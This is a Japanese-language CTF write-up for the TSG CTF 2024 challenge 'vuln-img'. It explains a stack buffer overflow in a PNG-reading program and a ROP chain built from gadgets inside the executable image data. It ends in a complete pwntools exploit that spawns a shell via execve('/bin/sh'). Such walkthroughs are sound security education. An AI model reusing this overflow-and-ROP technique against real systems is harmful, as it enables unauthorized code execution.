vuln-img (TSG CTF 2024) WriteUp

# はじめに
この記事は [1日1CTF Advent Calendar 2024](https://qiita.com/advent-calendar/2024/1-day-1-ctf) の 10 日目の記事です。
# 問題
vuln-img (問題出典: TSG CTF 2024)
> イメージって脆弱なイメージがある

## 問題概要
```chall.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>

#define FILE_PATH "./something.png"
#define IMG_DATA_SIZE 0x1000000
#define VALIDATE_PROT(p) ((p) & (PROT_READ | PROT_WRITE | PROT_EXEC))

__attribute__((section(".img")))
char img_data[IMG_DATA_SIZE];

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);

    puts("Simple PNG Header Reader");

    // Open the image file.
    int fd = open(FILE_PATH, O_RDONLY);
    if (fd < 0) {
        printf("Failed to open %s.\n", FILE_PATH);
        return -1;
    }

    // Prepare for writing it.
    mprotect(img_data, IMG_DATA_SIZE, VALIDATE_PROT(PROT_READ | PROT_WRITE));

    // Read the image data.
    int size = read(fd, img_data, IMG_DATA_SIZE);
    if (size < 0) {
        printf("Failed to read %s.\n", FILE_PATH);
        return -1;
    }
    printf("Loaded %d bytes from %s.\n", size, FILE_PATH);

    // Make the data read-only.
    mprotect(img_data, IMG_DATA_SIZE, VALIDATE_PROT(~PROT_WRITE));

    while (1) {
        // Wait for user input.
        printf("> ");
        char buf[0x100];
        scanf("%s", buf);

        if (!strcmp(buf, "show")) {
            // Show the image data.
            puts("Showing the image data...");
            printf("data[0] = %02x\n", ((unsigned char)img_data[0] % 0x100));
            printf("data[1:4] = %c%c%c\n", img_data[1], img_data[2], img_data[3]);
        } else if (!strcmp(buf, "exit")) {
            // Exit the program.
            puts("Bye!");
            return 0;
        } else {
            // Invalid command.
            puts("Invalid command.");
        }
    }
}
```

```
Canary  : Disabled
NX      : Enabled
PIE     : Disabled (0xfff000)
RELRO   : No RELRO
Fortify : Not found
```

`something.png` (配布されている) をグローバル変数に読み込んで、それに関しての情報を見れるプログラム。

## 考察

まず自明な Buffer Overflow がある。canary もないので悪用しやすそう。

```c
...
        char buf[0x100];
        scanf("%s", buf);
...
```

しかし、ROP gadget がそんなにない…
```
0xa0000c9: add  [rax], eax ; add  [rcx], eax ; pop rbp ; ret ; (1 found)
0xa0000cc: add  [rbp-0x3D], ebx ; nop ; ret ; (1 found)
0xa0000cb: add  [rcx], eax ; pop rbp ; ret ; (1 found)
0xa00030e: add byte [rax-0x7B], cl ; sal byte [rdx+rax-0x01], 0xD0 ; add rsp, 0x08 ; ret ; (1 found)
0xa000028: add byte [rax], al ; add byte [rax], al ; nop  [rax+0x00] ; ret ; (1 found)
0xa00002a: add byte [rax], al ; nop  [rax+0x00] ; ret ; (1 found)
0xa00005a: add byte [rbx], cl ; jmp rax ; (2 found)
0xa0000ca: add byte [rcx], al ; add  [rbp-0x3D], ebx ; nop ; ret ; (1 found)
0xa0000c7: add eax, 0x0100018B ; add  [rbp-0x3D], ebx ; nop ; ret ; (1 found)
0xa000317: add esp, 0x08 ; ret ; (2 found)
0xa000020: add esp, esi ; nop word [rax+rax+0x00000000] ; nop  [rax+0x00] ; ret ; (1 found)
0xa000316: add rsp, 0x08 ; ret ; (2 found)
0xa00056b: call qword [rsi+0x00FFFFFB] ; (1 found)
0xa000314: call rax ; (1 found)
0xa000301: dec ecx ; ret ; (1 found)
0xa000021: hlt ; nop word [rax+rax+0x00000000] ; nop  [rax+0x00] ; ret ; (1 found)
0xa00041b: jmp qword [rdx] ; (1 found)
0xa00005c: jmp rax ; (3 found)
0xa000302: leave ; ret ; (1 found)
0xa0000c6: mov byte [0x000000000B000258], 0x01 ; pop rbp ; ret ; (1 found)
0xa000057: mov edi, 0x0B000248 ; jmp rax ; (2 found)
0xa00005e: nop ; ret ; (3 found)
0xa00002c: nop  [rax+0x00] ; ret ; (1 found)
0xa000023: nop  [rax+rax+0x00000000] ; nop  [rax+0x00] ; ret ; (2 found)
0xa000022: nop word [rax+rax+0x00000000] ; nop  [rax+0x00] ; ret ; (1 found)
0xa000056: or  [rdi+0x0B000248], edi ; jmp rax ; (1 found)
0xa0000cd: pop rbp ; ret ; (1 found)
0xa000030: ret ; (8 found)
0xa000311: sal byte [rdx+rax-0x01], 0xD0 ; add rsp, 0x08 ; ret ; (1 found)
0xa000560: sar dh, 0xFF ; jmp rax ; (1 found)
0xa00031d: sub esp, 0x08 ; add rsp, 0x08 ; ret ; (1 found)
0xa00031c: sub rsp, 0x08 ; add rsp, 0x08 ; ret ; (1 found)
```

まだ画像を読み込んでいるということを使っていないのでどう使えるか考えてみる。

```c
...
#define VALIDATE_PROT(p) ((p) & (PROT_READ | PROT_WRITE | PROT_EXEC))
...
    // Make the data read-only.
    mprotect(img_data, IMG_DATA_SIZE, VALIDATE_PROT(~PROT_WRITE));
...
```

これ、コメントは read-only と言っているが、よく見ると exec もできそう。
readelf の結果 (下記) より、画像データは `0x1000000` 番地にあって、
```readelf
Section Headers:
  [Nr] Name              Type             Address           Offset
       Size              EntSize          Flags  Link  Info  Align
  [ 0]                   NULL             0000000000000000  00000000
       0000000000000000  0000000000000000           0     0     0
  [ 1] .img              PROGBITS         0000000001000000  00001000
       0000000001000000  0000000000000000  WA       0     0     32
...
```
メモリマップを見てみると、画像データは実行可能領域にある。
```vmmap
Start      End        Size       Offset     Perm Path
0xfff000   0x1000000  0x1000     0x0        rw-  /home/CTF/vuln_img
0x1000000  0x2000000  0x1000000  0x1000     r-x  /home/CTF/vuln_img
0xa000000  0xa001000  0x1000     0x1001000  r-x  /home/CTF/vuln_img
0xb000000  0xb001000  0x1000     0x1002000  rw-  /home/CTF/vuln_img
```

よって、画像ファイルの一部を ROP gadget として利用できる。
ROP gadget は `rp++` で探せる。

```console
rp++ --raw 1 --file ./something.png -r3
```

使えそうなのはこんな感じ。

```
0x4952: pop rdi ; sbb r8d, 0x4424A400 ; ret ; (1 found)
0x5587: stosd ; ret ;
0x771e: pop rcx ; ret ;
0xbb60: pop rsi ; jmp rcx ;
0xc30e: pop rax ; ret ;
0xccb7: syscall ; (1 found)
```

`main()` 関数から抜けるとき `rdx` はたまたま `0` だったので、`rax` を `0x3b` に、`rdi` を `/bin/sh` のアドレスに、`rsi` を `0` にして、`syscall` を呼び出せば `execve("/bin/sh", 0, 0)` を呼び出せて勝ち。

実際に ROP chain を組んでみる。

```
1. 0x4952: pop rdi ; sbb r8d, 0x4424A400 ; ret ;
-------------------------------------------------
2. (address of "/bin/sh")
-------------------------------------------------
3. 0x771e: pop rcx ; ret ;
-------------------------------------------------
4. 0xc30e: pop rax ; ret ;
-------------------------------------------------
5. 0xbb60: pop rsi ; jmp rcx ;
-------------------------------------------------
6. 0x0
-------------------------------------------------
7. 0x3b
-------------------------------------------------
8. 0xccb7: syscall ;
```

実行するとこうなる。
- `1.` が呼び出されて `2.` が `rdi` に格納される (`r8d` の値が変わってしまうが、割とどうでもいい)
- `3.` が呼び出されて `4.` が `rcx` に格納される
- `5.` が呼び出されて `6.` が `rsi` に格納され、その後 `rcx` に格納されている `4.` にジャンプする
- `4.` が呼び出されて `7.` が `rax` に格納される
- `8.` が呼び出されて勝ち

ただ、このままだと `/bin/sh` のアドレスなんてどこにもないので、適当な書き込めるアドレスに書き込む必要がある。

```
1. 0x4952: pop rdi ; sbb r8d, 0x4424A400 ; ret ; 
-------------------------------------------------
2. (書き込める適当なアドレス)
-------------------------------------------------
3. 0xc30e: pop rax ; ret ;
-------------------------------------------------
4. "/bin"
-------------------------------------------------
5. 0x5587: stosd ; ret ;
-------------------------------------------------
6. 0xc30e: pop rax ; ret ;
-------------------------------------------------
7. "/sh\x00"
-------------------------------------------------
8. 0x5587: stosd ; ret ;
```

とすれば、

- `1.` が呼び出されて `2.` が `rdi` に格納される
- `3.` が呼び出されて `4.` が `rax` に格納される
- `5.` が呼び出されて `edi` に格納されたアドレスが指す場所に `eax` の値が代入され、`edi` の値が `4` 加算される
- `6.` が呼び出されて `7.` が `rax` に格納される
- `8.` が呼び出されて `edi` に格納されたアドレスが指す場所に `eax` の値が代入され、`edi` の値が `4` 加算される

という流れで `/bin/sh` を書き込める。

## 実装
実際の `gadget` のオフセットは 画像データの開始位置からの差分にしないといけない点に気をつけて exploit を書く。

```py
from pwn import *
import sys

################################################
# context.log_level = "DEBUG"
FILENAME = "./vuln_img"
LIBCNAME = ""
host = ""
port = 0
################################################

context(os="linux", arch="amd64")
binf = ELF(FILENAME)
libc = ELF(LIBCNAME) if LIBCNAME != "" else None

if len(sys.argv) > 1:
    if sys.argv[1][0] == "d":
        cmd = """
        set follow-fork-mode parent
        """
        io = gdb.debug(FILENAME, cmd)
    elif sys.argv[1][0] == "r":
        io = remote(host, port)
else:
    io = process(FILENAME)


img_data_offset = 0x1000000

sh_addr = 0xfff400 # writeable

payload = b"A" * 0x118
payload += p64(img_data_offset + 0x4952) # pop rdi ; sbb r8d, 0x4424A400 ; ret ; 
payload += p64(sh_addr)
payload += p64(img_data_offset + 0xc30e) # pop rax ; ret ;
payload += b"/bin" + b"\x00" * 4
payload += p64(img_data_offset + 0x5587) # stosd ; ret ;
payload += p64(img_data_offset + 0xc30e) # pop rax ; ret ;
payload += b"/sh\x00" + b"\x00" * 4
payload += p64(img_data_offset + 0x5587) # stosd ; ret ;

payload += p64(img_data_offset + 0x4952) # pop rdi ; sbb r8d, 0x4424A400 ; ret ; 
payload += p64(sh_addr)
payload += p64(img_data_offset + 0x771e) # pop rcx ; ret ;
payload += p64(img_data_offset + 0xc30e) # pop rax ; ret ;
payload += p64(img_data_offset + 0xbb60) # pop rsi ; jmp rcx ;
payload += p64(0)
payload += p64(0x3b)
payload += p64(img_data_offset + 0xccb7) # syscall ;

io.recvuntil(b"> ")
io.sendline(payload)
io.recvuntil(b"> ")
io.sendline(b"exit")
io.interactive()
```